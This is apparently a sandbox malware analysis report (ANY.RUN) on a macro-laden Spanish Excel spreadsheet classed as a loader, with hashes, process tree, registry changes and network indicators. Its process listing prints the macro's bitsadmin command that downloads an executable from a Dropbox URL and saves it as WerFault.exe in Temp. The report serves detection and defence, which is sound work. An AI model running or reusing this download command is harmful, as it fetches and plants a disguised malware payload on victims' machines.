File name:

modelo_de_planilla_de_informacion_anual.xlsm

Full analysis: https://app.any.run/tasks/3faba602-0987-4f64-9906-4166a656b65d
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: December 06, 2018, 02:28:51
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
loader
Indicators:
MIME: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
File info: Microsoft Excel 2007+
MD5:

77D0B61D21B94EDCBA0DC7F64B50551C

SHA1:

4A806AC4D0AFAC2C80D0F97F1A6D65F8333B874D

SHA256:

C22BC7AF21D8364068C08C65233906FFFE06F4A02BB7610C16FAF137673FC06C

SSDEEP:

768:EaPdlDVZCD5snz9m/RXMcE4Jgsb19nQFX4aqnRBlg+Z:LPd/ZCDUzM/RXMcEagw9nQFX2Tg+Z

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Uses BITADMIN.EXE for downloading application

      • EXCEL.EXE (PID: 2704)
    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 2704)
  • SUSPICIOUS

    • Executes application which crashes

      • EXCEL.EXE (PID: 2704)
  • INFO

    • Creates files in the user directory

      • EXCEL.EXE (PID: 2704)
    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 2704)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xlam | Excel Macro-enabled Open XML add-in (42.4)
.xlsm | Excel Microsoft Office Open XML Format document (with Macro) (29.2)
.xlsx | Excel Microsoft Office Open XML Format document (17.3)
.zip | Open Packaging Conventions container (8.9)
.zip | ZIP compressed archive (2)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0006
ZipCompression: Deflated
ZipModifyDate: 1980:01:01 00:00:00
ZipCRC: 0xe69d70d7
ZipCompressedSize: 413
ZipUncompressedSize: 1393
ZipFileName: [Content_Types].xml

XMP

Creator: -

XML

LastModifiedBy: -
CreateDate: 2006:09:16 00:00:00Z
ModifyDate: 2018:12:06 02:26:06Z
Application: Microsoft Excel
DocSecurity: None
ScaleCrop: No
HeadingPairs:
  • Hojas de cálculo
  • 1
TitlesOfParts: Sheet1
Company: -
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
AppVersion: 15.03
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
36
Monitored processes
3
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start excel.exe no specs bitsadmin.exe no specs ntvdm.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2400"C:\Windows\system32\ntvdm.exe" -i1 C:\Windows\system32\ntvdm.exeEXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
NTVDM.EXE
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\ntvdm.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2704"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
3620"C:\Windows\System32\bitsadmin.exe" /transfer myFile /download /priority normal https://ucbc88fc771487b66e50567658b7.dl.dropboxusercontent.com/cd/0/get/AW7o8BsavMsJBo6mennxkt8efOAO4M0s8K9LT1zDhiZrRsaIs52ePB59P_f7isbM2cVqWgoBM85Rlr4Lf7QCmRqXu9Y2gCHn6Z-MqBQikFaeMS23acMAG-Q0v6m-byySB8V-VtYoKQjR1MDdxzBt9M-Amx1H-nV4uTrxS6kDbU23GkNwIXdurMDQto7IyzH7_qE/file?_download_id=558552389085390161841764886388517232362708790461618457735151118&_notify_domain=www.dropbox.com&dl=1.exe C:\Users\admin\AppData\Local\Temp\\WerFault.exeC:\Windows\System32\bitsadmin.exeEXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
BITS administration utility
Exit code:
0
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\bitsadmin.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
Total events
650
Read events
554
Write events
89
Delete events
7

Modification events

(PID) Process:(2704) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:writeName:}<$
Value:
7D3C2400900A0000010000000000000000000000
(PID) Process:(2704) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2704) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2704) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:writeName:MTTT
Value:
900A0000B8E880790B8DD40100000000
(PID) Process:(2704) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:delete valueName:}<$
Value:
7D3C2400900A0000010000000000000000000000
(PID) Process:(2704) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:delete keyName:
Value:
(PID) Process:(2704) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:delete keyName:
Value:
(PID) Process:(2704) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2704) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(2704) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\198EF9
Operation:writeName:198EF9
Value:
04000000900A00004E00000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C006D006F00640065006C006F005F00640065005F0070006C0061006E0069006C006C0061005F00640065005F0069006E0066006F0072006D006100630069006F006E005F0061006E00750061006C002E0078006C0073006D00000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C000100000000000000308C187B0B8DD401F98E1900F98E190000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Executable files
0
Suspicious files
0
Text files
0
Unknown types
1

Dropped files

PID
Process
Filename
Type
2704EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR88DD.tmp.cvr
MD5:
SHA256:
2400ntvdm.exeC:\Users\admin\AppData\Local\Temp\scs8BB.tmp
MD5:
SHA256:
2400ntvdm.exeC:\Users\admin\AppData\Local\Temp\scs8CC.tmp
MD5:
SHA256:
2704EXCEL.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
162.125.66.6:443
ucbc88fc771487b66e50567658b7.dl.dropboxusercontent.com
Dropbox, Inc.
DE
shared

DNS requests

Domain
IP
Reputation
ucbc88fc771487b66e50567658b7.dl.dropboxusercontent.com
  • 162.125.66.6
malicious

Threats

No threats detected
No debug info